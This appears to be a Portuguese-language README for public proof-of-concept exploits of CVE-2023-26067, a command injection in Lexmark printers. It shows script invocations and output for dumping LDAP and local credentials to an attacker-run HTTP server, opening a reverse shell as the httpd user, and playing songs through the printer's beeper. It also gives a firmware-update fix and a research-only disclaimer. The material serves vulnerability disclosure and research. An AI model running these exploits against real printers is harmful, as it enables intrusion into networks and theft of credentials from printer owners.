
Lexmark CVE-2023-26067
POCs para extração de credenciais, shells reversos e reprodução de música ao abusar de uma injeção de comando, CVE-2023-26067, afetando impressoras Lexmark.
Uma análise técnica da causa raiz da vulnerabilidade pode ser encontrada em nosso blog: https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022
Este POC abusa de uma injeção de comando para obter um shell como o usuário httpd
python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C
sudo python3 Print4Shell.py -r 192.168.1.185 -l 192.168.1.212
[*] Sending wakeup 1...
[*] Sending wakeup 2...
[*] Starting listener on 0.0.0.0:443...
[*] Sending payload to server...
httpd@ls:/usr/share/web/cgi-bin$
python3 BitConductor.py -s mario
Converting: mario
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rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210
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rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0
Atualize para a versão mais recente do firmware de acordo com as instruções do advisory da Lexmark
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.